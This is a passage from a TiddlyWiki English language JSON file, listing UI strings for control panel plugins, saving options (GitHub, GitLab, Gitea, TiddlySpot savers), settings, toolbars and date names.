"title": "$:/language/ControlPanel/Plugins/AlsoRequires",
"text": "Also requires:"
},
"$:/language/ControlPanel/Plugins/Caption": {
"title": "$:/language/ControlPanel/Plugins/Caption",
"text": "Plugins"
},
"$:/language/ControlPanel/Plugins/Disable/Caption": {
"title": "$:/language/ControlPanel/Plugins/Disable/Caption",
"text": "disable"
},
"$:/language/ControlPanel/Plugins/Disable/Hint": {
"title": "$:/language/ControlPanel/Plugins/Disable/Hint",
"text": "Disable this plugin when reloading page"
},
"$:/language/ControlPanel/Plugins/Disabled/Status": {
"title": "$:/language/ControlPanel/Plugins/Disabled/Status",
"text": "(disabled)"
},
"$:/language/ControlPanel/Plugins/Downgrade/Caption": {
"title": "$:/language/ControlPanel/Plugins/Downgrade/Caption",
"text": "downgrade"
},
"$:/language/ControlPanel/Plugins/Empty/Hint": {
"title": "$:/language/ControlPanel/Plugins/Empty/Hint",
"text": "None"
},
"$:/language/ControlPanel/Plugins/Enable/Caption": {
"title": "$:/language/ControlPanel/Plugins/Enable/Caption",
"text": "enable"
},
"$:/language/ControlPanel/Plugins/Enable/Hint": {
"title": "$:/language/ControlPanel/Plugins/Enable/Hint",
"text": "Enable this plugin when reloading page"
},
"$:/language/ControlPanel/Plugins/Install/Caption": {
"title": "$:/language/ControlPanel/Plugins/Install/Caption",
"text": "install"
},
"$:/language/ControlPanel/Plugins/Installed/Hint": {
"title": "$:/language/ControlPanel/Plugins/Installed/Hint",
"text": "Currently installed plugins:"
},
"$:/language/ControlPanel/Plugins/Languages/Caption": {
"title": "$:/language/ControlPanel/Plugins/Languages/Caption",
"text": "Languages"
},
"$:/language/ControlPanel/Plugins/Languages/Hint": {
"title": "$:/language/ControlPanel/Plugins/Languages/Hint",
"text": "Language pack plugins"
},
"$:/language/ControlPanel/Plugins/NoInfoFound/Hint": {
"title": "$:/language/ControlPanel/Plugins/NoInfoFound/Hint",
"text": "No ''\"<$text text=<<currentTab>>/>\"'' found"
},
"$:/language/ControlPanel/Plugins/NotInstalled/Hint": {
"title": "$:/language/ControlPanel/Plugins/NotInstalled/Hint",
"text": "This plugin is not currently installed"
},
"$:/language/ControlPanel/Plugins/OpenPluginLibrary": {
"title": "$:/language/ControlPanel/Plugins/OpenPluginLibrary",
"text": "open plugin library"
},
"$:/language/ControlPanel/Plugins/ClosePluginLibrary": {
"title": "$:/language/ControlPanel/Plugins/ClosePluginLibrary",
"text": "close plugin library"
},
"$:/language/ControlPanel/Plugins/PluginWillRequireReload": {
"title": "$:/language/ControlPanel/Plugins/PluginWillRequireReload",
"text": "(requires reload)"
},
"$:/language/ControlPanel/Plugins/Plugins/Caption": {
"title": "$:/language/ControlPanel/Plugins/Plugins/Caption",
"text": "Plugins"
},
"$:/language/ControlPanel/Plugins/Plugins/Hint": {
"title": "$:/language/ControlPanel/Plugins/Plugins/Hint",
"text": "Plugins"
},
"$:/language/ControlPanel/Plugins/Reinstall/Caption": {
"title": "$:/language/ControlPanel/Plugins/Reinstall/Caption",
"text": "reinstall"
},
"$:/language/ControlPanel/Plugins/Themes/Caption": {
"title": "$:/language/ControlPanel/Plugins/Themes/Caption",
"text": "Themes"
},
"$:/language/ControlPanel/Plugins/Themes/Hint": {
"title": "$:/language/ControlPanel/Plugins/Themes/Hint",
"text": "Theme plugins"
},
"$:/language/ControlPanel/Plugins/Update/Caption": {
"title": "$:/language/ControlPanel/Plugins/Update/Caption",
"text": "update"
},
"$:/language/ControlPanel/Plugins/Updates/Caption": {
"title": "$:/language/ControlPanel/Plugins/Updates/Caption",
"text": "Updates"
},
"$:/language/ControlPanel/Plugins/Updates/Hint": {
"title": "$:/language/ControlPanel/Plugins/Updates/Hint",
"text": "Available updates to installed plugins"
},
"$:/language/ControlPanel/Plugins/Updates/UpdateAll/Caption": {
"title": "$:/language/ControlPanel/Plugins/Updates/UpdateAll/Caption",
"text": "Update <<update-count>> plugins"
},
"$:/language/ControlPanel/Plugins/SubPluginPrompt": {
"title": "$:/language/ControlPanel/Plugins/SubPluginPrompt",
"text": "With <<count>> sub-plugins available"
},
"$:/language/ControlPanel/Saving/Caption": {
"title": "$:/language/ControlPanel/Saving/Caption",
"text": "Saving"
},
"$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description": {
"title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Description",
"text": "Permit automatic saving for the download saver"
},
"$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint": {
"title": "$:/language/ControlPanel/Saving/DownloadSaver/AutoSave/Hint",
"text": "Enable Autosave for Download Saver"
},
"$:/language/ControlPanel/Saving/DownloadSaver/Caption": {
"title": "$:/language/ControlPanel/Saving/DownloadSaver/Caption",
"text": "Download Saver"
},
"$:/language/ControlPanel/Saving/DownloadSaver/Hint": {
"title": "$:/language/ControlPanel/Saving/DownloadSaver/Hint",
"text": "These settings apply to the HTML5-compatible download saver"
},
"$:/language/ControlPanel/Saving/General/Caption": {
"title": "$:/language/ControlPanel/Saving/General/Caption",
"text": "General"
},
"$:/language/ControlPanel/Saving/General/Hint": {
"title": "$:/language/ControlPanel/Saving/General/Hint",
"text": "These settings apply to all the loaded savers"
},
"$:/language/ControlPanel/Saving/Hint": {
"title": "$:/language/ControlPanel/Saving/Hint",
"text": "Settings used for saving the entire TiddlyWiki as a single file via a saver module"
},
"$:/language/ControlPanel/Saving/GitService/Branch": {
"title": "$:/language/ControlPanel/Saving/GitService/Branch",
"text": "Target branch for saving"
},
"$:/language/ControlPanel/Saving/GitService/CommitMessage": {
"title": "$:/language/ControlPanel/Saving/GitService/CommitMessage",
"text": "Saved by TiddlyWiki"
},
"$:/language/ControlPanel/Saving/GitService/Description": {
"title": "$:/language/ControlPanel/Saving/GitService/Description",
"text": "These settings are only used when saving to <<service-name>>"
},
"$:/language/ControlPanel/Saving/GitService/Filename": {
"title": "$:/language/ControlPanel/Saving/GitService/Filename",
"text": "Filename of target file (e.g. `index.html`)"
},
"$:/language/ControlPanel/Saving/GitService/Path": {
"title": "$:/language/ControlPanel/Saving/GitService/Path",
"text": "Path to target file (e.g. `/wiki/`)"
},
"$:/language/ControlPanel/Saving/GitService/Repo": {
"title": "$:/language/ControlPanel/Saving/GitService/Repo",
"text": "Target repository (e.g. `Jermolene/TiddlyWiki5`)"
},
"$:/language/ControlPanel/Saving/GitService/ServerURL": {
"title": "$:/language/ControlPanel/Saving/GitService/ServerURL",
"text": "Server API URL"
},
"$:/language/ControlPanel/Saving/GitService/UserName": {
"title": "$:/language/ControlPanel/Saving/GitService/UserName",
"text": "Username"
},
"$:/language/ControlPanel/Saving/GitService/GitHub/Caption": {
"title": "$:/language/ControlPanel/Saving/GitService/GitHub/Caption",
"text": "~GitHub Saver"
},
"$:/language/ControlPanel/Saving/GitService/GitHub/Password": {
"title": "$:/language/ControlPanel/Saving/GitService/GitHub/Password",
"text": "Password, OAUTH token, or personal access token (see [[GitHub help page|https://help.github.com/en/articles/creating-a-personal-access-token-for-the-command-line]] for details)"
},
"$:/language/ControlPanel/Saving/GitService/GitLab/Caption": {
"title": "$:/language/ControlPanel/Saving/GitService/GitLab/Caption",
"text": "~GitLab Saver"
},
"$:/language/ControlPanel/Saving/GitService/GitLab/Password": {
"title": "$:/language/ControlPanel/Saving/GitService/GitLab/Password",
"text": "Personal access token for API (see [[GitLab help page|https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html]] for details)"
},
"$:/language/ControlPanel/Saving/GitService/Gitea/Caption": {
"title": "$:/language/ControlPanel/Saving/GitService/Gitea/Caption",
"text": "Gitea Saver"
},
"$:/language/ControlPanel/Saving/GitService/Gitea/Password": {
"title": "$:/language/ControlPanel/Saving/GitService/Gitea/Password",
"text": "Personal access token for API (via Gitea’s web interface: `Settings | Applications | Generate New Token`)"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Advanced/Heading",
"text": "Advanced Settings"
},
"$:/language/ControlPanel/Saving/TiddlySpot/BackupDir": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/BackupDir",
"text": "Backup Directory"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Backups": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Backups",
"text": "Backups"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Caption": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Caption",
"text": "~TiddlySpot Saver"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Description": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Description",
"text": "These settings are only used when saving to http://tiddlyspot.com or a compatible remote server"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Filename": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Filename",
"text": "Upload Filename"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Heading": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Heading",
"text": "~TiddlySpot"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Hint": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Hint",
"text": "//The server URL defaults to `http://<wikiname>.tiddlyspot.com/store.cgi` and can be changed to use a custom server address, e.g. `http://example.com/store.php`.//"
},
"$:/language/ControlPanel/Saving/TiddlySpot/Password": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/Password",
"text": "Password"
},
"$:/language/ControlPanel/Saving/TiddlySpot/ServerURL": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/ServerURL",
"text": "Server URL"
},
"$:/language/ControlPanel/Saving/TiddlySpot/UploadDir": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/UploadDir",
"text": "Upload Directory"
},
"$:/language/ControlPanel/Saving/TiddlySpot/UserName": {
"title": "$:/language/ControlPanel/Saving/TiddlySpot/UserName",
"text": "Wiki Name"
},
"$:/language/ControlPanel/Settings/AutoSave/Caption": {
"title": "$:/language/ControlPanel/Settings/AutoSave/Caption",
"text": "Autosave"
},
"$:/language/ControlPanel/Settings/AutoSave/Disabled/Description": {
"title": "$:/language/ControlPanel/Settings/AutoSave/Disabled/Description",
"text": "Do not save changes automatically"
},
"$:/language/ControlPanel/Settings/AutoSave/Enabled/Description": {
"title": "$:/language/ControlPanel/Settings/AutoSave/Enabled/Description",
"text": "Save changes automatically"
},
"$:/language/ControlPanel/Settings/AutoSave/Hint": {
"title": "$:/language/ControlPanel/Settings/AutoSave/Hint",
"text": "Attempt to automatically save changes during editing when using a supporting saver"
},
"$:/language/ControlPanel/Settings/CamelCase/Caption": {
"title": "$:/language/ControlPanel/Settings/CamelCase/Caption",
"text": "Camel Case Wiki Links"
},
"$:/language/ControlPanel/Settings/CamelCase/Hint": {
"title": "$:/language/ControlPanel/Settings/CamelCase/Hint",
"text": "You can globally disable automatic linking of ~CamelCase phrases. Requires reload to take effect"
},
"$:/language/ControlPanel/Settings/CamelCase/Description": {
"title": "$:/language/ControlPanel/Settings/CamelCase/Description",
"text": "Enable automatic ~CamelCase linking"
},
"$:/language/ControlPanel/Settings/Caption": {
"title": "$:/language/ControlPanel/Settings/Caption",
"text": "Settings"
},
"$:/language/ControlPanel/Settings/EditorToolbar/Caption": {
"title": "$:/language/ControlPanel/Settings/EditorToolbar/Caption",
"text": "Editor Toolbar"
},
"$:/language/ControlPanel/Settings/EditorToolbar/Hint": {
"title": "$:/language/ControlPanel/Settings/EditorToolbar/Hint",
"text": "Enable or disable the editor toolbar:"
},
"$:/language/ControlPanel/Settings/EditorToolbar/Description": {
"title": "$:/language/ControlPanel/Settings/EditorToolbar/Description",
"text": "Show editor toolbar"
},
"$:/language/ControlPanel/Settings/InfoPanelMode/Caption": {
"title": "$:/language/ControlPanel/Settings/InfoPanelMode/Caption",
"text": "Tiddler Info Panel Mode"
},
"$:/language/ControlPanel/Settings/InfoPanelMode/Hint": {
"title": "$:/language/ControlPanel/Settings/InfoPanelMode/Hint",
"text": "Control when the tiddler info panel closes:"
},
"$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description": {
"title": "$:/language/ControlPanel/Settings/InfoPanelMode/Popup/Description",
"text": "Tiddler info panel closes automatically"
},
"$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description": {
"title": "$:/language/ControlPanel/Settings/InfoPanelMode/Sticky/Description",
"text": "Tiddler info panel stays open until explicitly closed"
},
"$:/language/ControlPanel/Settings/Hint": {
"title": "$:/language/ControlPanel/Settings/Hint",
"text": "These settings let you customise the behaviour of TiddlyWiki."
},
"$:/language/ControlPanel/Settings/NavigationAddressBar/Caption": {
"title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Caption",
"text": "Navigation Address Bar"
},
"$:/language/ControlPanel/Settings/NavigationAddressBar/Hint": {
"title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Hint",
"text": "Behaviour of the browser address bar when navigating to a tiddler:"
},
"$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationAddressBar/No/Description",
"text": "Do not update the address bar"
},
"$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permalink/Description",
"text": "Include the target tiddler"
},
"$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationAddressBar/Permaview/Description",
"text": "Include the target tiddler and the current story sequence"
},
"$:/language/ControlPanel/Settings/NavigationHistory/Caption": {
"title": "$:/language/ControlPanel/Settings/NavigationHistory/Caption",
"text": "Navigation History"
},
"$:/language/ControlPanel/Settings/NavigationHistory/Hint": {
"title": "$:/language/ControlPanel/Settings/NavigationHistory/Hint",
"text": "Update browser history when navigating to a tiddler:"
},
"$:/language/ControlPanel/Settings/NavigationHistory/No/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationHistory/No/Description",
"text": "Do not update history"
},
"$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationHistory/Yes/Description",
"text": "Update history"
},
"$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption": {
"title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption",
"text": "Permalink/permaview Mode"
},
"$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint": {
"title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Hint",
"text": "Choose how permalink/permaview is handled:"
},
"$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/CopyToClipboard/Description",
"text": "Copy permalink/permaview URL to clipboard"
},
"$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description": {
"title": "$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/UpdateAddressBar/Description",
"text": "Update address bar with permalink/permaview URL"
},
"$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption": {
"title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption",
"text": "Performance Instrumentation"
},
"$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint": {
"title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Hint",
"text": "Displays performance statistics in the browser developer console. Requires reload to take effect"
},
"$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description": {
"title": "$:/language/ControlPanel/Settings/PerformanceInstrumentation/Description",
"text": "Enable performance instrumentation"
},
"$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption",
"text": "Toolbar Button Style"
},
"$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Hint",
"text": "Choose the style for toolbar buttons:"
},
"$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless",
"text": "Borderless"
},
"$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed",
"text": "Boxed"
},
"$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded",
"text": "Rounded"
},
"$:/language/ControlPanel/Settings/ToolbarButtons/Caption": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtons/Caption",
"text": "Toolbar Buttons"
},
"$:/language/ControlPanel/Settings/ToolbarButtons/Hint": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtons/Hint",
"text": "Default toolbar button appearance:"
},
"$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtons/Icons/Description",
"text": "Include icon"
},
"$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description": {
"title": "$:/language/ControlPanel/Settings/ToolbarButtons/Text/Description",
"text": "Include text"
},
"$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption": {
"title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption",
"text": "Default Sidebar Tab"
},
"$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint": {
"title": "$:/language/ControlPanel/Settings/DefaultSidebarTab/Hint",
"text": "Specify which sidebar tab is displayed by default"
},
"$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption": {
"title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption",
"text": "Default More Sidebar Tab"
},
"$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint": {
"title": "$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Hint",
"text": "Specify which More sidebar tab is displayed by default"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/Caption": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/Caption",
"text": "Tiddler Opening Behaviour"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/InsideRiver/Hint",
"text": "Navigation from //within// the story river"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OutsideRiver/Hint",
"text": "Navigation from //outside// the story river"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAbove",
"text": "Open above the current tiddler"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenBelow",
"text": "Open below the current tiddler"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtTop",
"text": "Open at the top of the story river"
},
"$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom": {
"title": "$:/language/ControlPanel/Settings/LinkToBehaviour/OpenAtBottom",
"text": "Open at the bottom of the story river"
},
"$:/language/ControlPanel/Settings/TitleLinks/Caption": {
"title": "$:/language/ControlPanel/Settings/TitleLinks/Caption",
"text": "Tiddler Titles"
},
"$:/language/ControlPanel/Settings/TitleLinks/Hint": {
"title": "$:/language/ControlPanel/Settings/TitleLinks/Hint",
"text": "Optionally display tiddler titles as links"
},
"$:/language/ControlPanel/Settings/TitleLinks/No/Description": {
"title": "$:/language/ControlPanel/Settings/TitleLinks/No/Description",
"text": "Do not display tiddler titles as links"
},
"$:/language/ControlPanel/Settings/TitleLinks/Yes/Description": {
"title": "$:/language/ControlPanel/Settings/TitleLinks/Yes/Description",
"text": "Display tiddler titles as links"
},
"$:/language/ControlPanel/Settings/MissingLinks/Caption": {
"title": "$:/language/ControlPanel/Settings/MissingLinks/Caption",
"text": "Wiki Links"
},
"$:/language/ControlPanel/Settings/MissingLinks/Hint": {
"title": "$:/language/ControlPanel/Settings/MissingLinks/Hint",
"text": "Choose whether to link to tiddlers that do not exist yet"
},
"$:/language/ControlPanel/Settings/MissingLinks/Description": {
"title": "$:/language/ControlPanel/Settings/MissingLinks/Description",
"text": "Enable links to missing tiddlers"
},
"$:/language/ControlPanel/StoryView/Caption": {
"title": "$:/language/ControlPanel/StoryView/Caption",
"text": "Story View"
},
"$:/language/ControlPanel/StoryView/Prompt": {
"title": "$:/language/ControlPanel/StoryView/Prompt",
"text": "Current view:"
},
"$:/language/ControlPanel/Stylesheets/Caption": {
"title": "$:/language/ControlPanel/Stylesheets/Caption",
"text": "Stylesheets"
},
"$:/language/ControlPanel/Stylesheets/Expand/Caption": {
"title": "$:/language/ControlPanel/Stylesheets/Expand/Caption",
"text": "Expand All"
},
"$:/language/ControlPanel/Stylesheets/Hint": {
"title": "$:/language/ControlPanel/Stylesheets/Hint",
"text": "This is the rendered CSS of the current stylesheet tiddlers tagged with <<tag \"$:/tags/Stylesheet\">>"
},
"$:/language/ControlPanel/Stylesheets/Restore/Caption": {
"title": "$:/language/ControlPanel/Stylesheets/Restore/Caption",
"text": "Restore"
},
"$:/language/ControlPanel/Theme/Caption": {
"title": "$:/language/ControlPanel/Theme/Caption",
"text": "Theme"
},
"$:/language/ControlPanel/Theme/Prompt": {
"title": "$:/language/ControlPanel/Theme/Prompt",
"text": "Current theme:"
},
"$:/language/ControlPanel/TiddlerFields/Caption": {
"title": "$:/language/ControlPanel/TiddlerFields/Caption",
"text": "Tiddler Fields"
},
"$:/language/ControlPanel/TiddlerFields/Hint": {
"title": "$:/language/ControlPanel/TiddlerFields/Hint",
"text": "This is the full set of TiddlerFields in use in this wiki (including system tiddlers but excluding shadow tiddlers)."
},
"$:/language/ControlPanel/Toolbars/Caption": {
"title": "$:/language/ControlPanel/Toolbars/Caption",
"text": "Toolbars"
},
"$:/language/ControlPanel/Toolbars/EditToolbar/Caption": {
"title": "$:/language/ControlPanel/Toolbars/EditToolbar/Caption",
"text": "Edit Toolbar"
},
"$:/language/ControlPanel/Toolbars/EditToolbar/Hint": {
"title": "$:/language/ControlPanel/Toolbars/EditToolbar/Hint",
"text": "Choose which buttons are displayed for tiddlers in edit mode. Drag and drop to change the ordering"
},
"$:/language/ControlPanel/Toolbars/Hint": {
"title": "$:/language/ControlPanel/Toolbars/Hint",
"text": "Select which toolbar buttons are displayed"
},
"$:/language/ControlPanel/Toolbars/PageControls/Caption": {
"title": "$:/language/ControlPanel/Toolbars/PageControls/Caption",
"text": "Page Toolbar"
},
"$:/language/ControlPanel/Toolbars/PageControls/Hint": {
"title": "$:/language/ControlPanel/Toolbars/PageControls/Hint",
"text": "Choose which buttons are displayed on the main page toolbar. Drag and drop to change the ordering"
},
"$:/language/ControlPanel/Toolbars/EditorToolbar/Caption": {
"title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Caption",
"text": "Editor Toolbar"
},
"$:/language/ControlPanel/Toolbars/EditorToolbar/Hint": {
"title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Hint",
"text": "Choose which buttons are displayed in the editor toolbar. Note that some buttons will only appear when editing tiddlers of a certain type. Drag and drop to change the ordering"
},
"$:/language/ControlPanel/Toolbars/ViewToolbar/Caption": {
"title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Caption",
"text": "View Toolbar"
},
"$:/language/ControlPanel/Toolbars/ViewToolbar/Hint": {
"title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Hint",
"text": "Choose which buttons are displayed for tiddlers in view mode. Drag and drop to change the ordering"
},
"$:/language/ControlPanel/Tools/Download/Full/Caption": {
"title": "$:/language/ControlPanel/Tools/Download/Full/Caption",
"text": "Download full wiki"
},
"$:/language/Date/DaySuffix/1": {
"title": "$:/language/Date/DaySuffix/1",
"text": "st"
},
"$:/language/Date/DaySuffix/2": {
"title": "$:/language/Date/DaySuffix/2",
"text": "nd"
},
"$:/language/Date/DaySuffix/3": {
"title": "$:/language/Date/DaySuffix/3",
"text": "rd"
},
"$:/language/Date/DaySuffix/4": {
"title": "$:/language/Date/DaySuffix/4",
"text": "th"
},
"$:/language/Date/DaySuffix/5": {
"title": "$:/language/Date/DaySuffix/5",
"text": "th"
},
"$:/language/Date/DaySuffix/6": {
"title": "$:/language/Date/DaySuffix/6",
"text": "th"
},
"$:/language/Date/DaySuffix/7": {
"title": "$:/language/Date/DaySuffix/7",
"text": "th"
},
"$:/language/Date/DaySuffix/8": {
"title": "$:/language/Date/DaySuffix/8",
"text": "th"
},
"$:/language/Date/DaySuffix/9": {
"title": "$:/language/Date/DaySuffix/9",
"text": "th"
},
"$:/language/Date/DaySuffix/10": {
"title": "$:/language/Date/DaySuffix/10",
"text": "th"
},
"$:/language/Date/DaySuffix/11": {
"title": "$:/language/Date/DaySuffix/11",
"text": "th"
},
"$:/language/Date/DaySuffix/12": {
"title": "$:/language/Date/DaySuffix/12",
"text": "th"
},
"$:/language/Date/DaySuffix/13": {
"title": "$:/language/Date/DaySuffix/13",
"text": "th"
},
"$:/language/Date/DaySuffix/14": {
"title": "$:/language/Date/DaySuffix/14",
"text": "th"
},
"$:/language/Date/DaySuffix/15": {
"title": "$:/language/Date/DaySuffix/15",
"text": "th"
},
"$:/language/Date/DaySuffix/16": {
"title": "$:/language/Date/DaySuffix/16",
"text": "th"
},
"$:/language/Date/DaySuffix/17": {
"title": "$:/language/Date/DaySuffix/17",
"text": "th"
},
"$:/language/Date/DaySuffix/18": {
"title": "$:/language/Date/DaySuffix/18",
"text": "th"
},
"$:/language/Date/DaySuffix/19": {
"title": "$:/language/Date/DaySuffix/19",
"text": "th"
},
"$:/language/Date/DaySuffix/20": {
"title": "$:/language/Date/DaySuffix/20",
"text": "th"
},
"$:/language/Date/DaySuffix/21": {
"title": "$:/language/Date/DaySuffix/21",
"text": "st"
},
"$:/language/Date/DaySuffix/22": {
"title": "$:/language/Date/DaySuffix/22",
"text": "nd"
},
"$:/language/Date/DaySuffix/23": {
"title": "$:/language/Date/DaySuffix/23",
"text": "rd"
},
"$:/language/Date/DaySuffix/24": {
"title": "$:/language/Date/DaySuffix/24",
"text": "th"
},
"$:/language/Date/DaySuffix/25": {
"title": "$:/language/Date/DaySuffix/25",
"text": "th"
},
"$:/language/Date/DaySuffix/26": {
"title": "$:/language/Date/DaySuffix/26",
"text": "th"
},
"$:/language/Date/DaySuffix/27": {
"title": "$:/language/Date/DaySuffix/27",
"text": "th"
},
"$:/language/Date/DaySuffix/28": {
"title": "$:/language/Date/DaySuffix/28",
"text": "th"
},
"$:/language/Date/DaySuffix/29": {
"title": "$:/language/Date/DaySuffix/29",
"text": "th"
},
"$:/language/Date/DaySuffix/30": {
"title": "$:/language/Date/DaySuffix/30",
"text": "th"
},
"$:/language/Date/DaySuffix/31": {
"title": "$:/language/Date/DaySuffix/31",
"text": "st"
},
"$:/language/Date/Long/Day/0": {
"title": "$:/language/Date/Long/Day/0",
"text": "Sunday"
},
"$:/language/Date/Long/Day/1": {
"title": "$:/language/Date/Long/Day/1",
"text": "Monday"
},
"$:/language/Date/Long/Day/2": {
"title": "$:/language/Date/Long/Day/2",
"text": "Tuesday"
},
"$:/language/Date/Long/Day/3": {
"title": "$:/language/Date/Long/Day/3",
"text": "Wednesday"
},
"$:/language/Date/Long/Day/4": {
"title": "$:/language/Date/Long/Day/4",
"text": "Thursday"
},
"$:/language/Date/Long/Day/5": {
"title": "$:/language/Date/Long/Day/5",
"text": "Friday"
},
"$:/language/Date/Long/Day/6": {
"title": "$:/language/Date/Long/Day/6",
"text": "Saturday"
},
"$:/language/Date/Long/Month/1": {
"title": "$:/language/Date/Long/Month/1",
"text": "January"
},
"$:/language/Date/Long/Month/2": {
"title": "$:/language/Date/Long/Month/2",
"text": "February"
},
"$:/language/Date/Long/Month/3": {
"title": "$:/language/Date/Long/Month/3",
"text": "March"
},
"$:/language/Date/Long/Month/4": {
"title": "$:/language/Date/Long/Month/4",
"text": "April"
},
"$:/language/Date/Long/Month/5": {
"title": "$:/language/Date/Long/Month/5",
"text": "May"
},
"$:/language/Date/Long/Month/6": {
"title": "$:/language/Date/Long/Month/6",
"text": "June"
},
"$:/language/Date/Long/Month/7": {
"title": "$:/language/Date/Long/Month/7",
"text": "July"
},
"$:/language/Date/Long/Month/8": {
"title": "$:/language/Date/Long/Month/8",
"text": "August"
},
"$:/language/Date/Long/Month/9": {
"title": "$:/language/Date/Long/Month/9",
"text": "September"
},
"$:/language/Date/Long/Month/10": {
"title": "$:/language/Date/Long/Month/10",
"text": "October"
},
"$:/language/Date/Long/Month/11": {
"title": "$:/language/Date/Long/Month/11",
"text": "November"
},
"$:/language/Date/Long/Month/12": {
"title": "$:/language/Date/Long/Month/12",
"text": "December"
},
"$:/language/Date/Period/am": {
"title": "$:/language/Date/Period/am",
"text": "am"
},
"$:/language/Date/Period/pm": {
"title": "$:/language/Date/Period/pm",
"text": "pm"
},
"$:/language/Date/Short/Day/0": {
"title": "$:/language/Date/Short/Day/0",
"text": "Sun"
},
"$:/language/Date/Short/Day/1": {
"title": "$:/language/Date/Short/Day/1",
"text": "Mon"
},
"$:/language/Date/Short/Day/2": {
"title": "$:/language/Date/Short/Day/2",
"text": "Tue"
},
"$:/language/Date/Short/Day/3": {
"title": "$:/language/Date/Short/Day/3",
"text": "Wed"
},
"$:/language/Date/Short/Day/4": {
"title": "$:/language/Date/Short/Day/4",
"text": "Thu"
},
"$:/language/Date/Short/Day/5": {
"title": "$:/language/Date/Short/Day/5",
"text": "Fri"
},
"$:/language/Date/Short/Day/6": {
"title": "$:/language/Date/Short/Day/6",
"text": "Sat"
},
"$:/language/Date/Short/Month/1": {
"title": "$:/language/Date/Short/Month/1",
"text": "Jan"
},
"$:/language/Date/Short/Month/2": {
